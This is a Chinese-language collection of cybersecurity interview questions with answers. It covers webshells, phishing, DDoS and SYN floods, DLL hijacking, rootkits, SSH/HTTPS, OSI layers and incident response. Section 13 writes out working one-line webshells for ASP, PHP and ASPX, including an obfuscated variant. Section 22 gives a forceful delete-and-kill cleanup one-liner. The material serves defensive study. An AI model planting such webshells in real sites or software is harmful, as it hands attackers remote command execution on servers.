主要面试内容：

```
1.什么是 WebShell?
2.什么是网络钓鱼？
3.你获取网络安全知识途径有哪些？
4.什么是 CC 攻击？
5.Web 服务器被入侵后，怎样进行排查？
6.dll 文件是什么意思，有什么用？DLL 劫持原理
7.0day 漏洞
8.Rootkit 是什么意思
9.蜜罐
10.ssh
11.DDOS
12.震网病毒：
13.一句话木马
14.Https 的作用
15.手工查找后门木马的小技巧
16.描述 OSI（开放系统互联基本参考模型）七层结构
17.TCP 和 UDP 的区别
18.脱壳
19.“人肉搜索”
20.SYN Flood 的基本原理
21.什么是手机”越狱“
22.主机被入侵，你会如何处理这件事自查解决方案：
23. NAT（网络地址转换）协议
24.内网穿透
25.虚拟专用网络
26.二层交换机
27.路由技术
28.三层交换机
29.IPv6 地址表示
```

.

1.什么是 WebShell?

WebShell 就是以 asp、php、jsp 或者 cgi 等网页文件形式存在的一种命令执行环境，也可以将其称做为一种网页后门。黑客在入侵了一个网站后，通常会将这些 asp 或 php 后门文件与网站服务器 WEB 目录下正常的网页文件混在一起，然后就可以使用浏览器来访问这些 asp 或者 php 后门，得到一个命令执行环境，以达到控制网站服务器的目的（可以上传下载文件，查看数据库，执行任意程序命令等）。国内常用的 WebShell 有海阳 ASP 木马，Phpspy，c99shell 等。

静态网页：最常用的格式文件就是 html 格式文件，大部分网页的格式都是 html 格式，html 格式又包含有.htm、dhtml.xhtml.shtm.shtml。这些都是指静态页面，里面不含有动态程序。

动态网页：页面级包括有 ASP（基于 JavaScript 或 VbScript 或 C#）、JSP、PHP、ASPX、jspx、cgi。这些里面是包含服务器端执行的代码，也就是服务器在将这些网页发给客户端之前，会先执行里面的动态程序语言，并把执行后生成的 html 发送到客户端来的,所以我们在客户端看到的源代码也是 html 格式的(因为动态的代码直接在服务器上执行，而这些服务器代码是前台是不会显示出来。

2.什么是网络钓鱼？

网络钓鱼是通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出敏感信息（如用户名、口令、帐号 ID 、 ATMPIN 码或信用卡详细信息）的一种攻击方式。

最典型的网络钓鱼攻击将收信人引诱到一个通过精心设计与目标组织的网站非常相似的钓鱼网站上，并获取收信人在此网站上输入的个人敏感信息，通常这个攻击过程不会让受害者警觉。

它常常导引用户到 URL 与接口外观与真正网站几无二致的假冒网站输入个人数据。就算使用强式加密的 SSL 服务器认证，要侦测网站是否仿冒实际上仍很困难。网钓是一种利用社会工程技术来愚弄用户的实例。它凭恃的是现行网络安全技术的低亲和度。

3.你获取网络安全知识途径有哪些？

- 网站，看雪，安全焦点，国内的乌云，FreeBuf
- 视频学习：i 春秋，51cto，慕课网，实验楼，实验吧，网易云课堂等等
- 微信公众号、知乎等，企业 src 等
- 书籍，《白帽子讲 web 安全》《Web 应用安全权威指南》等
- 然后就是请教牛人
- 最后是公司内技术分享。

4.什么是 CC 攻击？

这个也是知道一些，知道他是 DDos 的变种，正常请求伪造，服务器资源耗尽，最终还是看看百科答案吧：CC 攻击是 DDOS（分布式拒绝服务）的一种，相比其它的 DDOS 攻击 CC 似乎更有技术含量一些。这种攻击你见不到真实源 IP，见不到特别大的异常流量，但造成服务器无法进行正常连接。CC 攻击的原理就是攻击者控制某些主机不停地发大量数据包给对方服务器造成服务器资源耗尽，一直到宕机崩溃。CC 主要是用来攻击页面的，每个人都有这样的体验：当一个网页访问的人数特别多的时候，打开网页就慢了，CC 就是模拟多个用户（多少线程就是多少用户）不停地进行访问那些需要大量数据操作（就是需要大量 CPU 时间）的页面，造成服务器资源的浪费，CPU 长时间处于 100%，永远都有处理不完的连接直至就网络拥塞，正常的访问被中止。

5.Web 服务器被入侵后，怎样进行排查？

最简单就是

- 查看下 web 服务器日志
- 看看有没有异常端口开放
- 使用安全狗等服务器安全软件清扫

6.dll 文件是什么意思，有什么用？

DLL（Dynamic Link Library）文件，即动态链接库，也有人称作应用程序拓展。

Windows 应用程序中，实行了模块化设计，也就是说并不是每个应用程序都编写完所有的功能代码，而是在运行过程中调用相应功能的 DLL，不需运行的功能就不调用，所以大大加快了程序的加载速度和效率，其他应用程序也可以调用相关的 DLL，这样也有利于促进代码重用以及内存使用效率，减少了资源占用，而且程序更新时也只要更新相关的 DLL 就可以了。

要注意的是，有些病毒也会伪装成 DLL 文件，并替换系统的 DLL 文件，需要我们防范。

DLL 劫持原理

由于输入表中只包含 DLL 名而没有它的路径名，因此加载程序必须在磁盘上搜索 DLL 文件。首先会尝试从当前程序所在的目录加载 DLL，如果没找到，则在 Windows 系统目录中查找，最后是在环境变量中列出的各个目录下查找。利用这个特点，先伪造一个系统同名的 DLL，提供同样的输出表，每个输出函数转向真正的系统 DLL。程序调用系统 DLL 时会先调用当前目录下伪造的 DLL，完成

相关功能后，再跳到系统 DLL 同名函数里执行。这个过程用个形象的词来描述就是系统 DLL 被劫持（hijack）了。

伪造的 dll 制作好后，放到程序当前目录下，这样当原程序调用原函数时就调用了伪造的 dll 的同名函数，进入劫持 DLL 的代码，处理完毕后，再调用原 DLL 此函数。

如何防止 DLL 劫持

DLL 劫持利用系统未知 DLL 的搜索路径方式，使得程序加载当前目录下的系统同名 DLL。所以可以告诉系统 DLL 的位置，改变加载系统 DLL 的顺序不是当前目录，而是直接到系统目录下查找。

7.0day 漏洞

是已经发现但是官方还没发布补丁的漏洞。

信息安全意义上的 0Day 是指在安全补丁发布前而被了解和掌握的漏洞信息。

8.Rootkit 是什么意思

Rootkit 是一种特殊类型的 malware（恶意软件）。Rootkit 之所以特殊是因为您不知道它们在做什么事情。Rootkit 基本上是无法检测到的，而且几乎不可能删除它们。虽然检测工具在不断增多，但是恶意软件的开发者也在不断寻找新的途径来掩盖他们的踪迹。

Rootkit 的目的在于隐藏自己以及其他软件不被发现。它可以通过阻止用户识别和删除攻击者的软件来达到这个目的。Rootkit 几乎可以隐藏任何软件，包括文件服务器、键盘记录器、Botnet 和 Remailer。许多 Rootkit 甚至可以隐藏大型的文件集合并允许攻击者在您的计算机上保存许多文件，而您无法看到这些文件。

Rootkit 本身不会像病毒或蠕虫那样影响计算机的运行。攻击者可以找出目标系统上的现有漏洞。漏洞可能包括：开放的网络端口、未打补丁的系统或者具有脆弱的管理员密码的系统。在获得存在漏洞的系统的访问权限之后，攻击者便可手动安装一个 Rootkit。这种类型的偷偷摸摸的攻击通常不会触发自动执行的网络安全控制功能，例如入侵检测系统。

找出 Rootkit 十分困难。有一些软件包可以检测 Rootkit。这些软件包可划分为以下两类：基于签名的检查程序和基于行为的检查程序。基于签名（特征码）的检查程序，例如大多数病毒扫描程序，会检查二进制文件是否为已知的 Rootkit。基于行为的检查程序试图通过查找一些代表 Rootkit 主要行为的隐藏元素来找出 Rootkit。一个流行的基于行为的 Rootkit 检查程序是 Rootkit Revealer.

在发现系统中存在 Rootkit 之后，能够采取的补救措施也较为有限。由于 Rootkit 可以将自身隐藏起来，所以您可能无法知道它们已经在系统中存在了多长的时间。而且您也不知道 Rootkit 已经对哪些信息造成了损害。对于找出的 Rootkit，最好的应对方法便是擦除并重新安装系统。虽然这种手段很严厉，但是这是得到证明的唯一可以彻底删除 Rootkit 的方法。

防止 Rootkit 进入您的系统是能够使用的最佳办法。为了实现这个目的，可以使用与防范所有攻击计算机的恶意软件一样的深入防卫策略。深度防卫的要素包括：病毒扫描程序、定期更新软件、在主机和网络上安装防火墙，以及强密码策略

9.蜜罐

蜜罐好比是情报收集系统。蜜罐好像是故意让人攻击的目标，引诱黑客前来攻击。所以攻击者入侵后，你就可以知道他是如何得逞的，随时了解针对服务器发动的最新的攻击和漏洞。还可以通过窃听黑客之间的联系，收集黑客所用的种种工具，并且掌握他们的社交网络。

10.ssh

SSH 为 Secure Shell 的缩写，由 IETF 的网络小组（Network Working Group）所制定；SSH 为建立在应用层基础上的安全协议。SSH 是目前较可靠，专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH 最初是 UNIX 系统上的一个程序，后来又迅速扩展到其他操作平台。SSH 在正确使用时可弥补网络中的漏洞。SSH 客户端适用于多种平台。几乎所有 UNIX 平台—包括 HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix，以及其他平台，都可运行 SSH。

传统的网络服务程序，如：ftp、pop 和 telnet 在本质上都是不安全的，因为它们在网络上用明文传送口令和数据，别有用心的人非常容易就可以截获这些口令和数据。而且，这些服务程序的安全验证方式也是有其弱点的，就是很容易受到“中间人”（man-in-the-middle）这种方式的攻击。所谓“中间人”的攻击方式，就是“中

间人”冒充真正的服务器接收你传给服务器的数据，然后再冒充你把数据传给真正的服务器。服务器和你之间的数据传送被“中间人”一转手做了手脚之后，就会出现很严重的问题。通过使用 SSH，你可以把所有传输的数据进行加密，这样"中间人"这种攻击方式就不可能实现了，而且也能够防止 DNS 欺骗和 IP 欺骗。使用 SSH，还有一个额外的好处就是传输的数据是经过压缩的，所以可以加快传输的速度。SSH 有很多功能，它既可以代替 Telnet，又可以为 FTP、PoP、甚至为 PPP 提供一个安全的"通道"。

英文全称是 Secure Shell。通过使用 SSH，你可以把所有传输的数据进行加密，这样"中间人"这种攻击方式就不可能实现了，而且也能够防止 DNS 和 IP 欺骗。还有一个额外的好处就是传输的数据是经过压缩的，所以可以加快传输的速度。 SSH 有很多功能，它既可以代替 telnet，又可以为 ftp、pop、甚至 ppp 提供一个安全的"通道"。

SSH 是由客户端和服务端的软件组成的，有两个不兼容的版本分别是：1.x 和 2.x。用 SSH 2.x 的客户程序是不能连接到 SSH 1.x 的服务程序上去的。OpenSSH 2.x 同时支持 SSH 1.x 和 2.x。SSH 的安全验证是如何工作的从客户端来看，SSH 提供两种级别的安全验证。第一种级别（基于口令的安全验证）只要你知道自己帐号和口令，就可以登录到远程主机。所有传输的数据都会被加密，但是不能保证你正在连接的服务器就是你想连接的服务器。可能会有别的服务器在冒充真正的服务器，也就是受到“中间人”这种方式的攻击。第二种级别（基于密匙的安全验证）需要依靠密匙，也就是你必须为自己创建一对密匙，并把公用密匙放在需要访问的服务器上。如果你要连接到 SSH 服务器上，客户端软件就会向服务器发出请求，请求用你的密匙进行安全验证。服务器收到请求之后，先在你在该服务器的家目录下寻找你的公用密匙，然后把它和你发送过来的公用密匙进行比较。如果两个密匙一致，服务器就用公用密匙加密“质询”（challenge）并把它发送给客户端软件。客户端软件收到“质询”之后就可以用你的私人密匙解密再把它发送给服务器。用这种方式，你必须知道自己密匙的口令。但是，与第一种级别相比，第二种级别不需要在网络上传送口令。第二种级别不仅加密所有传送的数据，而且“中间人”这种攻击方式也是不可能的（因为他没有你的私人密匙）。但是整个登录的过程可能需要 10 秒。

SSL(SecureSockets Layer (SSL) and Transport Layer Security (TLS))被设计为加强 Web 安全传输(HTTP/HTTPS/)的协议(事实上还有 SMTP/NNTP 等),SSH(Secure Shell)更多的则被设计为加强 Telnet/FTP 安全的传输协议,默认地,它使用 22 端口.

以 SSL 为例,基本上 SSL 在传输过程中所处的位置如下:

－－－－－－－－－－

|HTTP |

－－－－－－－－－－

| SSL|

－－－－－－－－－－

| TCP|

－－－－－－－－－－

| IP|

－－－－－－－－－－

如果利用 SSL 协议来访问网页，其步骤如下：

用户：在浏览器的地址栏里输入 https://www.sslserver.com

HTTP 层：将用户需求翻译成 HTTP 请求，如

GET/index.htm HTTP/1.1

Hosthttp://www.sslserver.com

SSL 层: 借助下层协议的的信道安全的协商出一份加密密钥，并用此密钥来加密 HTTP 请求。

TCP 层：与 web server 的 443 端口建立连接，传递 SSL 处理后的数据。

接收端与此过程相反。

SSL 在 TCP 之上建立了一个加密通道，通过这一层的数据经过了加密，因此达到保密的效果。

SSL 协议分为两部分：Handshake Protocol 和 Record Protocol,。其中 Handshake Protocol 用来协商密钥，协议的大部分内容就是通信双方如何利用它来安全的协商出一份密钥。 Record Protocol 则定义了传输的格式。

11.DDOS

http://baike.baidu.com/link?url=hOeNhuaIj6tF9NY1wr2wbe9pIe52PaCJ5KXTisdfPUK4j8beTktmVsRaH5hRjkcpq6FPouzRl2hbsbpEDO5HRAUYi_D1Tsnu_q7in59xRasqHbmi1oYhEyVDVVn9ZcIcqRsZi5axo_HgkXBPioJx_#10

分布式拒绝服务(DDoS:Distributed Denial ofService)攻击指借助于客户/服务器技术，将多个计算机联合起来作为攻击平台，对一个或多个目标发动 DDoS 攻击，从而成倍地提高拒绝服务攻击的威力。通常，攻击者使用一个偷窃帐号将 DDoS 主控程序安装在一个计算机上，在一个设定的时间主控程序将与大量代理程序通讯，代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术，主控程序能在几秒钟内激活成百上千次代理程序的运行。

12.震网病毒：

指一种蠕虫病毒，是第一个专门定向攻击真实世界中基础（能源）设施的“蠕虫”病毒，比如核电站，水坝，国家电网。只要电脑操作员将被病毒感染的 U 盘插入 USB 接口，这种病毒就会在神不知鬼不觉的情况下(不会有任何其他操作要求或者提示出现)取得一些工业用电脑系统的控制权。

与传统的电脑病毒相比，“震网”病毒不会通过窃取个人隐私信息牟利。无需借助网络连接进行传播。这种病毒可以破坏世界各国的化工、发电和电力传输企业所使用的核心生产控制电脑软件，并且代替其对工厂其他电脑“发号施令”。极具毒性和破坏力。“震网”代码非常精密，主要有两个功能，一是使伊朗的离心机运行失控，二是掩盖发生故障的情况，“谎报军情”，以“正常运转”记录回传给管理部门，造成决策的误判。

13.一句话木马

asp 一句话木马：

<%execute(request("value"))%>

php 一句话木马：

<?php@eval($_POST[value]);?>

变形：<?php$x=$_GET['z'];@eval("$x;");?>

aspx 一句话木马：

<%@ PageLanguage="Jscript"%>

<%eval(Request.Item["value"])%>

14.Https 的作用

内容加密建立一个信息安全通道，来保证数据传输的安全；

身份认证确认网站的真实性

数据完整性防止内容被第三方冒充或者篡改

HTTPS 和 HTTP 的区别

https 协议需要到 CA 申请证书。

http 是超文本传输协议，信息是明文传输；https 则是具有安全性的 ssl 加密传输协议。

http 和 https 使用的是完全不同的连接方式，用的端口也不一样，前者是 80，后者是 443。

http 的连接很简单，是无状态的；HTTPS 协议是由 SSL+HTTP 协议构建的可进行加密传输、身份认证的网络协议，比 http 协议安全。

15.手工查找后门木马的小技巧

1、首先最需要注意的地方是系统的启动项，可以在"运行"-输入"msconfig 命令"在打开的系统配置实用程序里的启动列表查看，并且服务也要注意一下，如果对电脑不是太熟悉的童鞋建议使用 360 安全卫士的开机加速功能，来查看有无异常的可以启动项和服务项，因为在后门木马中 99%都会注册自己为系统服务，

达到开机自启动的目的，如果发现可疑项直接打开相应的路径，找到程序文件，直接删除并且禁止自启动；

2、查看系统关键目录 system32 和系统安装目录 Windows 下的文件，xp 系统下两者默认路径分别是 C:\WINDOWS\system32 和 C:\WINDOWS\。然后最新修改的文件中有没有可疑的可执行文件或 dll 文件，这两个地方都是木马最喜欢的藏身的地方了（小提示：一定要设置显示所有的文件的文件夹哦）。

3、观察网络连接是否存在异常，还有“运行”-“cmd”-“netstat -an”查看有没有可疑或非正常程序的网络连接，如果对电脑不是很熟悉建议大家使用 360 的流量监控功能更加直观和方便，尤其注意一下远程连接的端口，如果有类似于 8000 等端口就要注意了，8000 是灰鸽子的默认端口，记得有一次自己就在后门木马测试中在网络连接中发现 8000 端口，当然意思不是说只要没有 8000 端口的网络连接就一定安全，因为 8000 端口只是灰鸽子上线的默认端口，并且端口是可以更改的。

通过以上方法，可以查找到电脑的一些可疑文件，如果确认无疑，就可以手工进行删除了。当然还可以借助杀毒软件的力量。如果你真的中了木马后门，不用慌。最好最彻底的方法是重装系统后，在安全模式下，利用最新病毒库的杀软进行查杀。

16.描述 OSI（开放系统互联基本参考模型）七层结构

分层的好处是利用层次结构可以把开放系统的信息交换问题分解到一系列容易控制的软硬件模块一层中，而各层可以根据需要独立进行修改或扩充功能，同时，有利于个不同制造厂家的设备互连，也有利于大家学习、理解数据通讯网络。

OSI 参考模型中不同层完成不同的功能，各层相互配合通过标准的接口进行通信。

第 7 层应用层：OSI 中的最高层。为特定类型的网络应用提供了访问 OSI 环境的手段。应用层确定进程之间通信的性质，以满足用户的需要。应用层不仅要提供应用进程所需要的信息交换和远程操作，而且还要作为应用进程的用户代理，来完成一些为进行信息交换所必需的功能。它包括：文件传送访问和管理 FTAM、虚拟终端 VT、事务处理 TP、远程数据库访问 RDA、制造报文规范 MMS、目录

服务 DS 等协议；应用层能与应用程序界面沟通，以达到展示给用户的目的。在此常见的协议有:HTTP，HTTPS，FTP，TELNET，SSH，SMTP，POP3 等。

第 6 层表示层：主要用于处理两个通信系统中交换信息的表示方式。为上层用户解决用户信息的语法问题。它包括数据格式交换、数据加密与解密、数据压缩与终端类型的转换。

第 5 层会话层：在两个节点之间建立端连接。为端系统的应用程序之间提供了对话控制机制。此服务包括建立连接是以全双工还是以半双工的方式进行设置，尽管可以在层 4 中处理双工方式；会话层管理登入和注销过程。它具体管理两个用户和进程之间的对话。如果在某一时刻只允许一个用户执行一项特定的操作，会话层协议就会管理这些操作，如阻止两个用户同时更新数据库中的同一组数据。

第 4 层传输层：—常规数据递送－面向连接或无连接。为会话层用户提供一个端到端的可靠、透明和优化的数据传输服务机制。包括全双工或半双工、流控制和错误恢复服务；传输层把消息分成若干个分组，并在接收端对它们进行重组。不同的分组可以通过不同的连接传送到主机。这样既能获得较高的带宽，又不影响会话层。在建立连接时传输层可以请求服务质量，该服务质量指定可接受的误码率、延迟量、安全性等参数，还可以实现基于端到端的流量控制功能。

第 3 层网络层：本层通过寻址来建立两个节点之间的连接，为源端的运输层送来的分组，选择合适的路由和交换节点，正确无误地按照地址传送给目的端的运输层。它包括通过互连网络来路由和中继数据；除了选择路由之外，网络层还负责建立和维护连接，控制网络上的拥塞以及在必要的时候生成计费信息。

第 2 层数据链路层：在此层将数据分帧，并处理流控制。屏蔽物理层，为网络层提供一个数据链路的连接，在一条有可能出差错的物理连接上，进行几乎无差错的数据传输（差错控制）。本层指定拓扑结构并提供硬件寻址。常用设备有网卡、网桥、交换机；

第 1 层物理层：处于 OSI 参考模型的最底层。物理层的主要功能是利用物理传输介质为数据链路层提供物理连接，以便透明的传送比特流。常用设备有（各种物理设备）集线器、中继器、调制解调器、网线、双绞线、同轴电缆。

数据发送时，从第七层传到第一层，接收数据则相反。

上三层总称应用层，用来控制软件方面。下四层总称数据流层，用来管理硬件。除了物理层之外其他层都是用软件实现的。

数据在发至数据流层的时候将被拆分。

在传输层的数据叫段，网络层叫包，数据链路层叫帧，物理层叫比特流，这样的叫法叫 PDU（协议数据单元）[2]

各层功能

(1)物理层(Physical Layer)

物理层是 OSI 参考模型的最低层，它利用传输介质为数据链路层提供物理连接。它主要关心的是通过物理链路从一个节点向另一个节点传送比特流，物理链路可能是铜线、卫星、微波或其他的通讯媒介。它关心的问题有：多少伏电压代表 1？多少伏电压代表 0？时钟速率是多少？采用全双工还是半双工传输？总的来说物理层关心的是链路的机械、电气、功能和规程特性。

(2)数据链路层(Data Link Layer)

数据链路层是为网络层提供服务的，解决两个相邻结点之间的通信问题，传送的协议数据单元称为数据帧。

数据帧中包含物理地址（又称 MAC 地址）、控制码、数据及校验码等信息。该层的主要作用是通过校验、确认和反馈重发等手段，将不可靠的物理链路转换成对网络层来说无差错的数据链路。

此外，数据链路层还要协调收发双方的数据传输速率，即进行流量控制，以防止接收方因来不及处理发送方来的高速数据而导致缓冲器溢出及线路阻塞。

(3)网络层(Network Layer)

网络层是为传输层提供服务的，传送的协议数据单元称为数据包或分组。该层的主要作用是解决如何使数据包通过各结点传送的问题，即通过路径选择算法（路由）将数据包送到目的地。另外，为避免通信子网中出现过多的数据包而造成网络阻塞，需要对流入的数据包数量进行控制（拥塞控制）。当数据包要跨越多个通信子网才能到达目的地时，还要解决网际互连的问题。

(4)传输层(Transport Layer)

传输层的作用是为上层协议提供端到端的可靠和透明的数据传输服务，包括处理差错控制和流量控制等问题。该层向高层屏蔽了下层数据通信的细节，使高层用

户看到的只是在两个传输实体间的一条主机到主机的、可由用户控制和设定的、可靠的数据通路。

传输层传送的协议数据单元称为段或报文。

(5)会话层(Session Layer)

会话层主要功能是管理和协调不同主机上各种进程之间的通信（对话），即负责建立、管理和终止应用程序之间的会话。会话层得名的原因是它很类似于两个实体间的会话概念。例如，一个交互的用户会话以登录到计算机开始，以注销结束。

(6)表示层(Presentation Layer)

表示层处理流经结点的数据编码的表示方式问题，以保证一个系统应用层发出的信息可被另一系统的应用层读出。如果必要，该层可提供一种标准表示形式，用于将计算机内部的多种数据表示格式转换成网络通信中采用的标准表示形式。数据压缩和加密也是表示层可提供的转换功能之一。

(7)应用层(Application Layer)

应用层是 OSI 参考模型的最高层，是用户与网络的接口。该层通过应用程序来完成网络用户的应用需求，如文件传输、收发电子邮件等。

17.TCP 和 UDP 的区别

TCP 协议和 UDP 协议特性区别总结：

1.TCP 协议在传送数据段的时候要给段标号；UDP 协议不

2.TCP 协议可靠；UDP 协议不可靠

3.TCP 协议是面向连接；UDP 协议采用无连接

4.TCP 协议负载较高，采用虚电路；UDP 采用无连接

5.TCP 协议的发送方要确认接收方是否收到数据段（3 次握手协议）

6.TCP 协议采用窗口技术和流控制

当数据传输的性能必须让位于数据传输的完整性、可控制性和可靠性时，TCP 协议是当然的选择。当强调传输性能而不是传输的完整性时，如：音频和多媒体应用，UDP 是最好的选择。在数据传输时间很短，以至于此前的连接过程成为整个流量主体的情况下，UDP 也是一个好的选择，如：DNS 交换。把 SNMP 建立在 UDP 上的部分原因是设计者认为当发生网络阻塞时，UDP 较低的开销使其有更好的机会去传送管理数据。TCP 丰富的功能有时会导致不可预料的性能低下，但是我们相信在不远的将来，TCP 可靠的点对点连接将会用于绝大多数的网络应用。

18.脱壳

而从技术的角度出发，壳是一段执行于原始程序前的代码。原始程序的代码在加壳的过程中可能被压缩、加密……。当加壳后的文件执行时，壳－这段代码先于原始程序运行，他把压缩、加密后的代码还原成原始程序代码，然后再把执行权交还给原始代码。软件的壳分为加密壳、压缩壳、伪装壳、多层壳等类，目的都是为了隐藏程序真正的 OEP（入口点，防止被破解）。

加壳”指的是对编译好的 EXE、DLL 等文件采用加壳来进行保护；“脱壳”指的就是将文件外边的壳去除，恢复文件没有加壳前的状态。壳出于程序作者想对程序资源压缩、注册保护的目的，把壳分为压缩壳、密码壳、加密壳三种。顾名思义，压缩壳只是为了减小程序体积对资源进行压缩，常见的压缩壳包括 FSG、ASPack、UPX、北斗等；加密壳也就是常说的保护壳、猛壳，它对程序输入表等内容进行加密保护，具有良好的保护效果，常见的加密壳包括 ASPROTECT、ACPROTECT、PELock、幻影等；密码壳平时使用得不多，加密壳的程序只有在正确输入密码后才能运行

19.“人肉搜索”

是一种类比的称呼，主要是用来区别传统搜索引擎。它主要是指通过集中许多网民的力量去搜索信息和资源的一种方式，它包括利用互联网的机器搜索引擎（如百度等）及利用各网民在日常生活中所能掌握的信息来进行收集信息的一种方式[1] 。

20.SYN Flood 的基本原理

SYN Flood 是当前最流行的 DoS（拒绝服务攻击）与 DDoS（分布式拒绝服务攻击）的方式之一，这是一种利用 TCP 协议缺陷，发送大量伪造的 TCP 连接请求，从而使得被攻击方资源耗尽（CPU 满负荷或内存不足）的攻击方式。要明白这种攻击的基本原理，还是要从 TCP 连接建立的过程开始说起：

大家都知道，TCP 与 UDP 不同，它是基于连接的，也就是说：为了在服务端和客户端之间传送 TCP 数据，必须先建立一个虚拟电路，也就是 TCP 连接，建立 TCP 连接的标准过程是这样的：

首先，请求端（客户端）发送一个包含 SYN 标志的 TCP 报文，SYN 即同步（Synchronize），同步报文会指明客户端使用的端口以及 TCP 连接的初始序号；

第二步，服务器在收到客户端的 SYN 报文后，将返回一个 SYN+ACK 的报文，表示客户端的请求被接受，同时 TCP 序号被加一，ACK 即确认（Acknowledgement）。

第三步，客户端也返回一个确认报文 ACK 给服务器端，同样 TCP 序列号被加一，到此一个 TCP 连接完成。

以上的连接过程在 TCP 协议中被称为三次握手（Three-way Handshake）。问题就出在 TCP 连接的三次握手中，假设一个用户向服务器发送了 SYN 报文后突然死机或掉线，那么服务器在发出 SYN+ACK 应答报文后是无法收到客户端的 ACK 报文的（第三次握手无法完成），这种情况下服务器端一般会重试（再次发送 SYN+ACK 给客户端）并等待一段时间后丢弃这个未完成的连接，这段时间的长度我们称为 SYN Timeout，一般来说这个时间是分钟的数量级（大约为 30 秒-2 分钟）；一个用户出现异常导致服务器的一个线程等待 1 分钟并不是什么很大的问题，但如果有一个恶意的攻击者大量模拟这种情况，服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接，即使是简单的保存并遍历也会消耗非常多的 CPU 时间和内存，何况还要不断对这个列表中的 IP 进行 SYN+ACK 的重试。实际上如果服务器的 TCP/IP 栈不够强大，最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大，服务器端也将忙于处理攻击者伪造的 TCP 连接请求而无暇理睬客户的正常请求（毕竟客户端的正常请求比率非常之小），此时从正常客户的角度看来，服务器失去响应，这种情况我们称作：服务器端受到了 SYN Flood 攻击（SYN 洪水攻击）。

从防御角度来说，有几种简单的解决方法，第一种是缩短 SYNTimeout 时间，由于 SYNFlood 攻击的效果取决于服务器上保持的 SYN 半连接数，这个值=SYN 攻击的频度 x SYN Timeout，所以通过缩短从接收到 SYN 报文到确定这个报文无效并丢弃改连接的时间，例如设置为 20 秒以下（过低的 SYN Timeout 设置可能会影响客户的正常访问），可以成倍的降低服务器的负荷。

第二种方法是设置 SYN Cookie，就是给每一个请求连接的 IP 地址分配一个 Cookie，如果短时间内连续受到某个 IP 的重复 SYN 报文，就认定是受到了攻击，以后从这个 IP 地址来的包会被一概丢弃。

可是上述的两种方法只能对付比较原始的 SYNFlood 攻击，缩短 SYNTimeout 时间仅在对方攻击频度不高的情况下生效，SYN Cookie 更依赖于对方使用真实的 IP 地址，如果攻击者以数万/秒的速度发送 SYN 报文，同时利用 SOCK_RAW 随机改写 IP 报文中的源地址，以上的方法将毫无用武之地。

21.什么是手机”越狱“

所谓 iOS 系统的越狱就是取得系统最高权限的行为，越狱前后 iOS 系统本身并不会发生质的改变，只是越狱后可以对 iOS 系统进行更充分的利用而已。

越狱的好处：

1、越狱之后操作性更强，取得了手机的最高权限，就可以修改手机内容，包括安装免费的破解软件、自定义功能、美化等等。

2、越狱后可以绕过 AppStore 免费下载 APP。

越狱的坏处：

1、越狱后失去保修。

2、越狱之后，后台程序运行，桌面主题等都会加大耗电。

3、越狱就是打破 iOS 系统封闭，所以手机就相对变得不安全了。

22.主机被入侵，你会如何处理这件事自查解决方案：

1、病毒木马排查。

1.1、使用 netstat 查看网络连接，分析是否有可疑发送行为，如有则停止。(linux 常见木马，清理命令 chattr-i /usr/bin/.sshd; rm -f /usr/bin/.sshd; chattr -i /usr/bin/.swhd; rm -f/usr/bin/.swhd; rm -f -r /usr/bin/bsd-port; cp /usr/bin/dpkgd/ps /bin/ps; cp/usr/bin/dpkgd/netstat /bin/netstat; cp /usr/bin/dpkgd/lsof /usr/sbin/lsof; cp/usr/bin/dpkgd/ss /usr/sbin/ss;rm -r -f /root/.ssh; rm -r -f/usr/bin/bsd-port;find /proc/ -name exe | xargs ls -l | grep -v task |grepdeleted| awk '{print $11}' | awk -F/ '{print $NF}' | xargs killall -9;）

1.2、使用杀毒软件进行病毒查杀。

2、服务器漏洞排查并修复

2.1、查看服务器账号是否有异常，如有则停止删除掉。

2.2、查看服务器是否有异地登录情况，如有则修改密码为强密码（字每+数字+特殊符号）大小写，10 位及以上。

2.3、查看 Jenkins、Tomcat、PhpMyadmin、WDCP、Weblogic 后台密码，提高密码强度（字每+数字+特殊符号）大小写，10 位及以上。

2.4、查看 WEB 应用是否有漏洞，如 struts, ElasticSearch 等，如有则请升级。

2.5、查看 MySQL、SQLServer、FTP、WEB 管理后台等其它有设置密码的地方，提高密码强度（字每+数字+特殊符号）大小写，10 位及以上。

2.6、查看 Redis 无密码可远程写入文件漏洞，检查/root/.ssh/下黑客创建的 SSH 登录密钥文件，删除掉，修改 Redis 为有密码访问并使用强密码，不需要公网访问最好 bind127.0.0.1 本地访问。

2.7、如果有安装第三方软件，请按官网指引进行修复。

3、开启云盾服务，并开启所有云盾安全防护功能对您的主机进行安全防护，免于再次遭到恶意攻击。

实施安全防御方案

请您尽快开启云盾服务，开启步骤详见：
http://help.aliyun.com/view/11108300_13730770.html

同时也建议您开启云盾应用防火墙功能，开启步骤详见：

4、如果问题仍未解决

经过以上处理还不能解决问题，强烈建议您将系统盘和数据盘的数据完全下载备份到本地保存后，重置全盘（登陆 www.aliyun.com, 进入我的阿里云-》管理控制台-》云服务器 ECS 控制台-》点击进行您需要进行初始化的实例，备份完服务器数据后关闭实例，点击“重置磁盘”，按您的实际情况选择系统盘和数据盘重置即可）后，重新部署程序应用并对数据进行杀毒后上传，并重新进行前述的 3 步处理。

内网网址

23. NAT（网络地址转换）协议

内网的计算机以 NAT（网络地址转换）协议，通过一个公共的网关访问 Internet。内网的计算机可向 Internet 上的其他计算机发送连接请求，但 Internet 上其他的计算机无法向内网的计算机发送连接请求。

NAT（Network Address Translator）是网络地址转换，它实现内网的 IP 地址与公网的地址之间的相互转换，将大量的内网 IP 地址转换为一个或少量的公网 IP 地址，减少对公网 IP 地址的占用。NAT 的最典型应用是：在一个局域网内，只需要一台计算机连接上 Internet，就可以利用 NAT 共享 Internet 连接，使局域网内其他计算机也可以上网。使用 NAT 协议，局域网内的计算机可以访问 Internet 上的计算机，但 Internet 上的计算机无法访问局域网内的计算机。

A 类 10.0.0.0--10.255.255.255

B 类 172.16.0.0--172.31.255.255

C 类 192.168.0.0--192.168.255.255

内网保留地址编辑

Internet 设计者保留了 IPv4 地址空间的一部份供专用地址使用,专用地址空间中的 IPv4 地址叫专用地址,这些地址永远不会被当做公用地址来分配,所以专用地址永远不会与公用地址重复.

